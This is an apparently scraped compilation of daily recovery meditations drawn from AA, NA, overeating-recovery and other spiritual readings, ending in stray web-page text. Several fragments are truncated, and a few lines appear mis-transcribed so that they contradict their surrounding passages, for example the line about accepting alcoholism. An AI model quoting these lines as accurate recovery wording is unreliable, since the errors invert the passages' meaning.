Too often I am caught up with feeling sorry for myself because of my disease, while ignoring the fact that I am so fortunate to have found recovery. Sometimes I feel so poor, yet I live in a large home with a wonderful spouse and delightful pets. I have a car, and enough food to eat every day. I have the luxury of obtaining my degree. Most of all, though I often complain about how unfair it all is, I am even fortunate to have an eating disorder. Because it is through admitting I have a problem that I am beginning to taste recovery, and it is sweeter than any binge item. And it has taught me that it is through our adversities that we learn compassion and patience.
I have to realize that life just isn’t fair. If it were, how boring it would be! Nothing worthwhile is easy to obtain, and that includes recovery. What would it be worth if there was no effort going into it? Sometimes bad things happen, and they are unfortunate. But that’s the end of it. I cannot make things be the way I want them to be. I cannot change life. I must accept life on life’s terms, and learn the art of patience, so well demonstrated by the above quote. How fortunate that I have the opportunity to learn these precious skills in the safety and security of my own home, with my wonderful friends, spouse, and my program family!
I will avoid dwelling on the misery that accompanies hardship. I will develop the willingness to be grateful for the opportunity for me to learn compassion and patience.
The success of The Program, I've been taught, lies in large measure in the readiness and willingness of its members to go to any lengths to help others tyrannized by their addictions. If my readiness and willingness cools, then I stand in danger of losing all that I’ve gained. I must never become unwilling to give away what I have, for only by so doing will I be privileged to keep it. Do I take to heart the saying, “Out of self into God into others…”?
– The physician wasn't hooked, he thought–he just prescribed drugs medically indicated for his many ailments. Acceptance was his key to liberation.
And acceptance is the answer to all my problems today. When I am disturbed, it is because I find some person, place, thing or situation as being exactly the way it is supposed to be at this moment. Nothing, absolutely nothing, happens in God’s world by mistake. Until I could accept my alcoholism, I could stay sober; unless I accept life completely on life’s terms, I cannot be happy. I need to concentrate not so much on what needs to be changed in the world as on what needs to be changed in me and in my attitudes.
“The past is best mended by living so fully today that its errors have no place in our lives.” These words by an AA member suggest an approach for healing from the past.
All of us would benefit to use today’s knowledge to deal with situations we mishandled in the past. But we must remember that whatever mistakes we made, we had available only the knowledge and resources we possessed the, and we may have done about as well as we possibly could at this time.
We should also remember that active alcoholism is a crippling and ugly disease with many terrible consequences. It’s not surprising that bad things happened to others and us when we were drinking. We can only be grateful that we are now recovering and that matters are better, not worse, than they once were.
I’ll live fully today, allowing no thoughts of regret from my past to intrude.
Participating in the privileges of the movement, I shall share in the responsibilities, taking it upon myself to carry my fair share of the load, not grudgingly but joyfully. I am deeply grateful for the privileges I enjoy because of my membership in this great movement. They put an obligation upon me which I will not shirk. I will gladly carry my fair share of the burdens. Because of the joy of doing them, they will no longer be burdens, but opportunities. Will I accept every opportunity gladly?
Work and prayer are the two forces which are gradually making a better world. We must work for the betterment of ourselves and our fellow men. Faith without works is dead. But all work with people should be based on prayer. If we say a little prayer before we speak or try to help, it will make us more effective. Prayer is the force behind the work. Prayer is based on faith that God is working with us and through us. We can believe that nothing is impossible in human relationships, if we depend on the help of God.
I pray that my life may be balanced between prayer and work. I pray that I may not work without prayer or pray without work.
At some point in our recovery, we come to the awkward realization that the way we see ourselves is not necessarily the way others do. We are probably neither as bad, as good, as beautiful, or as ugly as we think we are – but we are too close to ourselves to really tell for sure. That’s where our friends in the program come in, caring enough to share with us what they see when they look in our direction. They tell us the good things about ourselves we might not know – and they tell us the hard things, too, that we might not be able to see.
We may react defensively to such “help” and, in some cases, justly so. However, even malicious remarks about our supposed shortcomings can shed light on aspects of our recovery that we cannot see ourselves. Wherever a useful insight comes from, for whatever reason it is offered, we cannot afford to discount it.
We don’t need to wait for others to spontaneously offer their insight. When we spend time with our sponsor or other NA members we trust, we can make the first move and ask them to tell us what they see about particular areas of our lives to which we are blind. We want a broader vision of our life than just our own; we can have that vision by seeing ourselves through the eyes of others.
Just for today: I seek to see myself as I truly am. I will listen to what others say about me, and see myself through their eyes.
The disease of compulsive overeating is a devious one. It tries to tell me that I’m not a worthwhile person. It tries to tell me that I’m never going to recover, so I may as well eat. The disease tries to make me feel like I’m the lowest of the low.
Fortunately, there are many things in this recovery program that counteract the disease. I can use a food plan to make sure I don’t eat what I’m not supposed to eat. I can read program literature to show me how to live triumphantly. I can work the Steps, do service, make outreach calls; there’s so much I can do which can bring recovery from compulsive overeating.
Another of the things I can do to counteract my disease is meditation. When I meditate, I come into conscious contact with my Higher Power. Meditation helps me to see that I am a worthwhile person, that God loves me just as I am. When I meditate I gain insights into the program literature I’m reading, I learn the things I need to do to further my recovery. I also learn the things that stifle my growth, so I can stop doing them. Meditation is very important to my recovery program.
I remember the importance of meditation, and I meditate every day.
Clancy I. and Chuck C. - AA Speakers - "Hope and Healing in AA"
He who possesses the mother of the state may continue long. His case is like that (of the plant) of which we say that its roots are deep and its flower stalks firm:—this is the way to secure that its enduring life shall long be seen.
Forgiving seems impossible at times. We wonder how Mom and Dad can be so nice to them. We think our parents don’t see their true sides. We may feel like we get blamed for everything in the family while our brothers and sisters are praised.
Today let me be willing to let go of one resentment so I can benefit from a more comfortable sobriety.
"I was to test my thinking by the new God-consciousness within.
expect to receive. But that would be in great measure."
Today, let me loosen my grip on my perspective that the Program hammers what I cannot do and, instead, understand that it empowers me with what I can do. While I cannot continue in futile endeavor to regain control over alcohol, I can dis-empower it by not feeding it. While I cannot continue to engage in conduct that injures myself and others, I can chart a 180-degree course change and start to give something nurturing instead of inflicting harm. And while I cannot always make direct amends for whatever reason, I can make indirect amends by working a Program in which my sobriety is its own amend. The Program of AA is not one of cannot; it is, instead, a Program of can. Today the first word in can’t is can. And I can. And our common journey continues.
Today, the first word in hopelessness is hope; the first word in helplessness is help; the first word in senselessness is sense; the first word in powerlessness is power. Within insanity is sanity; within fear, fearlessness; within pain, strength; within anger, reconciliation. This is our Program: from hopelessness comes hope; from helplessness, help; from senselessness, sense; from powerlessness, power; from insanity, sanity; from fear, courage; from pain, strength; from anger, forgiveness. And from them – sobriety. It’s that simple. And our common journey continues.
(c) That God could and would if He were sought."
"When temptation comes, I don't say, `Yes," and I don't say, `No.' I say, `Later,' I just keep walking the Red Road - down the middle. When you're in the middle, you don't go to either extreme. You allow both sides to exist."
We need to practice controlling our focus. Whatever we focus on we become. We also become whatever we practice. We need to focus on balance. Whenever something comes along to tilt us off balance, we need to be grateful, because it allows the opportunity to practice our focus. Sometimes this is called temptation. Temptation in itself is not bad. What really counts is what we do with it when it happens. We need to practice controlling our focus and keeping our thinking focused on the Red Road.
Great Spirit, today, guide me through my temptations and allow me to focus on the Red Road.
Taking the first step helps bridge the gulf between our dreams and our accomplishments.
Whether the project is cleaning the garage, building a cathedral, or recovering from an addiction, plans must be translated into action. In order to arrive at our destination, we must begin the trip. We can read hundreds of college catalogs, but it’s when we register for a course, buy a textbook, and begin to study that we are on our way to a degree.
Two factors inhibit our beginning a project. The first is lack of clear motivation, and the second is fear of failure. If we don’t really want to do something, it’s hard to get started. So, if motivation is a problem, we may need to reconsider our choice of projects.
As for fear of failure, this may be something that we step over and around as we move forward. It is not a good reason for aborting a dream. If, in spite of fear of failure, we make a beginning, we will find that the fear shrinks with every step we take. Action is the catalyst. We learn how to do something by doing it.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.